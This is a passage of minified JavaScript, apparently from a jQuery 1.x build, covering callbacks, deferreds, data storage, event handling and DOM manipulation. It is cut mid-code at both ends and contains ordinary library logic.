d=m.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&m.each(arguments,function(a,c){var d;while((d=m.inArray(c,h,d))>-1)h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}),this},has:function(a){return a?m.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return!i},fireWith:function(a,c){return!h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!d}};return k},m.extend({Deferred:function(a){var b=[["resolve","done",m.Callbacks("once memory"),"resolved"],["reject","fail",m.Callbacks("once memory"),"rejected"],["notify","progress",m.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return m.Deferred(function(c){m.each(b,function(b,f){var g=m.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&m.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?m.extend(a,d):d}},e={};return d.pipe=d.then,m.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&m.isFunction(a.promise)?e:0,g=1===f?a:m.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&m.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;m.fn.ready=function(a){return m.ready.promise().done(a),this},m.extend({isReady:!1,readyWait:1,holdReady:function(a){a?m.readyWait++:m.ready(!0)},ready:function(a){if(a===!0?!--m.readyWait:!m.isReady){if(!y.body)return setTimeout(m.ready);m.isReady=!0,a!==!0&&--m.readyWait>0||(H.resolveWith(y,[m]),m.fn.triggerHandler&&(m(y).triggerHandler("ready"),m(y).off("ready")))}}});function I(){y.addEventListener?(y.removeEventListener("DOMContentLoaded",J,!1),a.removeEventListener("load",J,!1)):(y.detachEvent("onreadystatechange",J),a.detachEvent("onload",J))}function J(){(y.addEventListener||"load"===event.type||"complete"===y.readyState)&&(I(),m.ready())}m.ready.promise=function(b){if(!H)if(H=m.Deferred(),"complete"===y.readyState)setTimeout(m.ready);else if(y.addEventListener)y.addEventListener("DOMContentLoaded",J,!1),a.addEventListener("load",J,!1);else{y.attachEvent("onreadystatechange",J),a.attachEvent("onload",J);var c=!1;try{c=null==a.frameElement&&y.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!m.isReady){try{c.doScroll("left")}catch(a){return setTimeout(e,50)}I(),m.ready()}}()}return H.promise(b)};var K="undefined",L;for(L in m(k))break;k.ownLast="0"!==L,k.inlineBlockNeedsLayout=!1,m(function(){var a,b,c,d;c=y.getElementsByTagName("body")[0],c&&c.style&&(b=y.createElement("div"),d=y.createElement("div"),d.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(d).appendChild(b),typeof b.style.zoom!==K&&(b.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",k.inlineBlockNeedsLayout=a=3===b.offsetWidth,a&&(c.style.zoom=1)),c.removeChild(d))}),function(){var a=y.createElement("div");if(null==k.deleteExpando){k.deleteExpando=!0;try{delete a.test}catch(b){k.deleteExpando=!1}}a=null}(),m.acceptData=function(a){var b=m.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b};var M=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,N=/([A-Z])/g;function O(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(N,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:M.test(c)?m.parseJSON(c):c}catch(e){}m.data(a,b,c)}else c=void 0}return c}function P(a){var b;for(b in a)if(("data"!==b||!m.isEmptyObject(a[b]))&&"toJSON"!==b)return!1;return!0}function Q(a,b,d,e){if(m.acceptData(a)){var f,g,h=m.expando,i=a.nodeType,j=i?m.cache:a,k=i?a[h]:a[h]&&h;
+if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b)return k||(k=i?a[h]=c.pop()||m.guid++:h),j[k]||(j[k]=i?{}:{toJSON:m.noop}),("object"==typeof b||"function"==typeof b)&&(e?j[k]=m.extend(j[k],b):j[k].data=m.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[m.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[m.camelCase(b)])):f=g,f}}function R(a,b,c){if(m.acceptData(a)){var d,e,f=a.nodeType,g=f?m.cache:a,h=f?a[m.expando]:m.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){m.isArray(b)?b=b.concat(m.map(b,m.camelCase)):b in d?b=[b]:(b=m.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--)delete d[b[e]];if(c?!P(d):!m.isEmptyObject(d))return}(c||(delete g[h].data,P(g[h])))&&(f?m.cleanData([a],!0):k.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}m.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?m.cache[a[m.expando]]:a[m.expando],!!a&&!P(a)},data:function(a,b,c){return Q(a,b,c)},removeData:function(a,b){return R(a,b)},_data:function(a,b,c){return Q(a,b,c,!0)},_removeData:function(a,b){return R(a,b,!0)}}),m.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=m.data(f),1===f.nodeType&&!m._data(f,"parsedAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=m.camelCase(d.slice(5)),O(f,d,e[d])));m._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){m.data(this,a)}):arguments.length>1?this.each(function(){m.data(this,a,b)}):f?O(f,a,m.data(f,a)):void 0},removeData:function(a){return this.each(function(){m.removeData(this,a)})}}),m.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=m._data(a,b),c&&(!d||m.isArray(c)?d=m._data(a,b,m.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=m.queue(a,b),d=c.length,e=c.shift(),f=m._queueHooks(a,b),g=function(){m.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return m._data(a,c)||m._data(a,c,{empty:m.Callbacks("once memory").add(function(){m._removeData(a,b+"queue"),m._removeData(a,c)})})}}),m.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?m.queue(this[0],a):void 0===b?this:this.each(function(){var c=m.queue(this,a,b);m._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&m.dequeue(this,a)})},dequeue:function(a){return this.each(function(){m.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=m.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=m._data(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var S=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,T=["Top","Right","Bottom","Left"],U=function(a,b){return a=b||a,"none"===m.css(a,"display")||!m.contains(a.ownerDocument,a)},V=m.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===m.type(c)){e=!0;for(h in c)m.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,m.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(m(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},W=/^(?:checkbox|radio)$/i;!function(){var a=y.createElement("input"),b=y.createElement("div"),c=y.createDocumentFragment();if(b.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",k.leadingWhitespace=3===b.firstChild.nodeType,k.tbody=!b.getElementsByTagName("tbody").length,k.htmlSerialize=!!b.getElementsByTagName("link").length,k.html5Clone="<:nav></:nav>"!==y.createElement("nav").cloneNode(!0).outerHTML,a.type="checkbox",a.checked=!0,c.appendChild(a),k.appendChecked=a.checked,b.innerHTML="<textarea>x</textarea>",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,c.appendChild(b),b.innerHTML="<input type='radio' checked='checked' name='t'/>",k.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,k.noCloneEvent=!0,b.attachEvent&&(b.attachEvent("onclick",function(){k.noCloneEvent=!1}),b.cloneNode(!0).click()),null==k.deleteExpando){k.deleteExpando=!0;try{delete b.test}catch(d){k.deleteExpando=!1}}}(),function(){var b,c,d=y.createElement("div");for(b in{submit:!0,change:!0,focusin:!0})c="on"+b,(k[b+"Bubbles"]=c in a)||(d.setAttribute(c,"t"),k[b+"Bubbles"]=d.attributes[c].expando===!1);d=null}();var X=/^(?:input|select|textarea)$/i,Y=/^key/,Z=/^(?:mouse|pointer|contextmenu)|click/,$=/^(?:focusinfocus|focusoutblur)$/,_=/^([^.]*)(?:\.(.+)|)$/;function ab(){return!0}function bb(){return!1}function cb(){try{return y.activeElement}catch(a){}}m.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,n,o,p,q,r=m._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=m.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof m===K||a&&m.event.triggered===a.type?void 0:m.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(E)||[""],h=b.length;while(h--)f=_.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=m.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=m.event.special[o]||{},l=m.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&m.expr.match.needsContext.test(e),namespace:p.join(".")},i),(n=g[o])||(n=g[o]=[],n.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?n.splice(n.delegateCount++,0,l):n.push(l),m.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,n,o,p,q,r=m.hasData(a)&&m._data(a);if(r&&(k=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=_.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=m.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,n=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=n.length;while(f--)g=n[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(n.splice(f,1),g.selector&&n.delegateCount--,l.remove&&l.remove.call(a,g));i&&!n.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||m.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)m.event.remove(a,o+b[j],c,d,!0);m.isEmptyObject(k)&&(delete r.handle,m._removeData(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,n,o=[d||y],p=j.call(b,"type")?b.type:b,q=j.call(b,"namespace")?b.namespace.split("."):[];if(h=l=d=d||y,3!==d.nodeType&&8!==d.nodeType&&!$.test(p+m.event.triggered)&&(p.indexOf(".")>=0&&(q=p.split("."),p=q.shift(),q.sort()),g=p.indexOf(":")<0&&"on"+p,b=b[m.expando]?b:new m.Event(p,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:m.makeArray(c,[b]),k=m.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!m.isWindow(d)){for(i=k.delegateType||p,$.test(i+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),l=h;l===(d.ownerDocument||y)&&o.push(l.defaultView||l.parentWindow||a)}n=0;while((h=o[n++])&&!b.isPropagationStopped())b.type=n>1?i:k.bindType||p,f=(m._data(h,"events")||{})[b.type]&&m._data(h,"handle"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&m.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault());if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&m.acceptData(d)&&g&&d[p]&&!m.isWindow(d)){l=d[g],l&&(d[g]=null),m.event.triggered=p;try{d[p]()}catch(r){}m.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=m.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(m._data(this,"events")||{})[a.type]||[],k=m.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=m.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((m.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(e=[],f=0;h>f;f++)d=b[f],c=d.selector+" ",void 0===e[c]&&(e[c]=d.needsContext?m(c,this).index(i)>=0:m.find(c,this,null,[i]).length),e[c]&&e.push(d);e.length&&g.push({elem:i,handlers:e})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},fix:function(a){if(a[m.expando])return a;var b,c,d,e=a.type,f=a,g=this.fixHooks[e];g||(this.fixHooks[e]=g=Z.test(e)?this.mouseHooks:Y.test(e)?this.keyHooks:{}),d=g.props?this.props.concat(g.props):this.props,a=new m.Event(f),b=d.length;while(b--)c=d[b],a[c]=f[c];return a.target||(a.target=f.srcElement||y),3===a.target.nodeType&&(a.target=a.target.parentNode),a.metaKey=!!a.metaKey,g.filter?g.filter(a,f):a},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){return null==a.which&&(a.which=null!=b.charCode?b.charCode:b.keyCode),a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,b){var c,d,e,f=b.button,g=b.fromElement;return null==a.pageX&&null!=b.clientX&&(d=a.target.ownerDocument||y,e=d.documentElement,c=d.body,a.pageX=b.clientX+(e&&e.scrollLeft||c&&c.scrollLeft||0)-(e&&e.clientLeft||c&&c.clientLeft||0),a.pageY=b.clientY+(e&&e.scrollTop||c&&c.scrollTop||0)-(e&&e.clientTop||c&&c.clientTop||0)),!a.relatedTarget&&g&&(a.relatedTarget=g===a.target?b.toElement:g),a.which||void 0===f||(a.which=1&f?1:2&f?3:4&f?2:0),a}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==cb()&&this.focus)try{return this.focus(),!1}catch(a){}},delegateType:"focusin"},blur:{trigger:function(){return this===cb()&&this.blur?(this.blur(),!1):void 0},delegateType:"focusout"},click:{trigger:function(){return m.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):void 0},_default:function(a){return m.nodeName(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}},simulate:function(a,b,c,d){var e=m.extend(new m.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?m.event.trigger(e,null,b):m.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},m.removeEvent=y.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){var d="on"+b;a.detachEvent&&(typeof a[d]===K&&(a[d]=null),a.detachEvent(d,c))},m.Event=function(a,b){return this instanceof m.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?ab:bb):this.type=a,b&&m.extend(this,b),this.timeStamp=a&&a.timeStamp||m.now(),void(this[m.expando]=!0)):new m.Event(a,b)},m.Event.prototype={isDefaultPrevented:bb,isPropagationStopped:bb,isImmediatePropagationStopped:bb,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=ab,a&&(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=ab,a&&(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=ab,a&&a.stopImmediatePropagation&&a.stopImmediatePropagation(),this.stopPropagation()}},m.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){m.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return(!e||e!==d&&!m.contains(d,e))&&(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),k.submitBubbles||(m.event.special.submit={setup:function(){return m.nodeName(this,"form")?!1:void m.event.add(this,"click._submit keypress._submit",function(a){var b=a.target,c=m.nodeName(b,"input")||m.nodeName(b,"button")?b.form:void 0;c&&!m._data(c,"submitBubbles")&&(m.event.add(c,"submit._submit",function(a){a._submit_bubble=!0}),m._data(c,"submitBubbles",!0))})},postDispatch:function(a){a._submit_bubble&&(delete a._submit_bubble,this.parentNode&&!a.isTrigger&&m.event.simulate("submit",this.parentNode,a,!0))},teardown:function(){return m.nodeName(this,"form")?!1:void m.event.remove(this,"._submit")}}),k.changeBubbles||(m.event.special.change={setup:function(){return X.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(m.event.add(this,"propertychange._change",function(a){"checked"===a.originalEvent.propertyName&&(this._just_changed=!0)}),m.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1),m.event.simulate("change",this,a,!0)})),!1):void m.event.add(this,"beforeactivate._change",function(a){var b=a.target;X.test(b.nodeName)&&!m._data(b,"changeBubbles")&&(m.event.add(b,"change._change",function(a){!this.parentNode||a.isSimulated||a.isTrigger||m.event.simulate("change",this.parentNode,a,!0)}),m._data(b,"changeBubbles",!0))})},handle:function(a){var b=a.target;return this!==b||a.isSimulated||a.isTrigger||"radio"!==b.type&&"checkbox"!==b.type?a.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return m.event.remove(this,"._change"),!X.test(this.nodeName)}}),k.focusinBubbles||m.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){m.event.simulate(b,a.target,m.event.fix(a),!0)};m.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=m._data(d,b);e||d.addEventListener(a,c,!0),m._data(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=m._data(d,b)-1;e?m._data(d,b,e):(d.removeEventListener(a,c,!0),m._removeData(d,b))}}}),m.fn.extend({on:function(a,b,c,d,e){var f,g;if("object"==typeof a){"string"!=typeof b&&(c=c||b,b=void 0);for(f in a)this.on(f,b,c,a[f],e);return this}if(null==c&&null==d?(d=b,c=b=void 0):null==d&&("string"==typeof b?(d=c,c=void 0):(d=c,c=b,b=void 0)),d===!1)d=bb;else if(!d)return this;return 1===e&&(g=d,d=function(a){return m().off(a),g.apply(this,arguments)},d.guid=g.guid||(g.guid=m.guid++)),this.each(function(){m.event.add(this,a,d,c,b)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,m(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return(b===!1||"function"==typeof b)&&(c=b,b=void 0),c===!1&&(c=bb),this.each(function(){m.event.remove(this,a,c,b)})},trigger:function(a,b){return this.each(function(){m.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];return c?m.event.trigger(a,b,c,!0):void 0}});function db(a){var b=eb.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}var eb="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",fb=/ jQuery\d+="(?:null|\d+)"/g,gb=new RegExp("<(?:"+eb+")[\\s/>]","i"),hb=/^\s+/,ib=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,jb=/<([\w:]+)/,kb=/<tbody/i,lb=/<|&#?\w+;/,mb=/<(?:script|style|link)/i,nb=/checked\s*(?:[^=]|=\s*.checked.)/i,ob=/^$|\/(?:java|ecma)script/i,pb=/^true\/(.*)/,qb=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,rb={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:k.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},sb=db(y),tb=sb.appendChild(y.createElement("div"));rb.optgroup=rb.option,rb.tbody=rb.tfoot=rb.colgroup=rb.caption=rb.thead,rb.th=rb.td;function ub(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==K?a.getElementsByTagName(b||"*"):typeof a.querySelectorAll!==K?a.querySelectorAll(b||"*"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||m.nodeName(d,b)?f.push(d):m.merge(f,ub(d,b));return void 0===b||b&&m.nodeName(a,b)?m.merge([a],f):f}function vb(a){W.test(a.type)&&(a.defaultChecked=a.checked)}function wb(a,b){return m.nodeName(a,"table")&&m.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function xb(a){return a.type=(null!==m.find.attr(a,"type"))+"/"+a.type,a}function yb(a){var b=pb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function zb(a,b){for(var c,d=0;null!=(c=a[d]);d++)m._data(c,"globalEval",!b||m._data(b[d],"globalEval"))}function Ab(a,b){if(1===b.nodeType&&m.hasData(a)){var c,d,e,f=m._data(a),g=m._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)m.event.add(b,c,h[c][d])}g.data&&(g.data=m.extend({},g.data))}}function Bb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!k.noCloneEvent&&b[m.expando]){e=m._data(b);for(d in e.events)m.removeEvent(b,d,e.handle);b.removeAttribute(m.expando)}"script"===c&&b.text!==a.text?(xb(b).text=a.text,yb(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),k.html5Clone&&a.innerHTML&&!m.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&W.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}}m.extend({clone:function(a,b,c){var d,e,f,g,h,i=m.contains(a.ownerDocument,a);if(k.html5Clone||m.isXMLDoc(a)||!gb.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(tb.innerHTML=a.outerHTML,tb.removeChild(f=tb.firstChild)),!(k.noCloneEvent&&k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||m.isXMLDoc(a)))for(d=ub(f),h=ub(a),g=0;null!=(e=h[g]);++g)d[g]&&Bb(e,d[g]);if(b)if(c)for(h=h||ub(a),d=d||ub(f),g=0;null!=(e=h[g]);g++)Ab(e,d[g]);else Ab(a,f);return d=ub(f,"script"),d.length>0&&zb(d,!i&&ub(a,"script")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,l,n=a.length,o=db(b),p=[],q=0;n>q;q++)if(f=a[q],f||0===f)if("object"===m.type(f))m.merge(p,f.nodeType?[f]:f);else if(lb.test(f)){h=h||o.appendChild(b.createElement("div")),i=(jb.exec(f)||["",""])[1].toLowerCase(),l=rb[i]||rb._default,h.innerHTML=l[1]+f.replace(ib,"<$1></$2>")+l[2],e=l[0];while(e--)h=h.lastChild;if(!k.leadingWhitespace&&hb.test(f)&&p.push(b.createTextNode(hb.exec(f)[0])),!k.tbody){f="table"!==i||kb.test(f)?"<table>"!==l[1]||kb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--)m.nodeName(j=f.childNodes[e],"tbody")&&!j.childNodes.length&&f.removeChild(j)}m.merge(p,h.childNodes),h.textContent="";while(h.firstChild)h.removeChild(h.firstChild);h=o.lastChild}else p.push(b.createTextNode(f));h&&o.removeChild(h),k.appendChecked||m.grep(ub(p,"input"),vb),q=0;while(f=p[q++])if((!d||-1===m.inArray(f,d))&&(g=m.contains(f.ownerDocument,f),h=ub(o.appendChild(f),"script"),g&&zb(h),c)){e=0;while(f=h[e++])ob.test(f.type||"")&&c.push(f)}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=m.expando,j=m.cache,l=k.deleteExpando,n=m.event.special;null!=(d=a[h]);h++)if((b||m.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)n[e]?m.event.remove(d,e):m.removeEvent(d,e,g.handle);j[f]&&(delete j[f],l?delete d[i]:typeof d.removeAttribute!==K?d.removeAttribute(i):d[i]=null,c.push(f))}}}),m.fn.extend({text:function(a){return V(this,function(a){return void 0===a?m.text(this):this.empty().append((this[0]&&this[0].ownerDocument||y).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=wb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=wb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?m.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||m.cleanData(ub(c)),c.parentNode&&(b&&m.contains(c.ownerDocument,c)&&zb(ub(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&m.cleanData(ub(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&m.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return m.clone(this,a,b)})},html:function(a){return V(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(fb,""):void 0;if(!("string"!=typeof a||mb.test(a)||!k.htmlSerialize&&gb.test(a)||!k.leadingWhitespace&&hb.test(a)||rb[(jb.exec(a)||["",""])[1].toLowerCase()])){a=a.replace(ib,"<$1></$2>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(m.cleanData(ub(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return 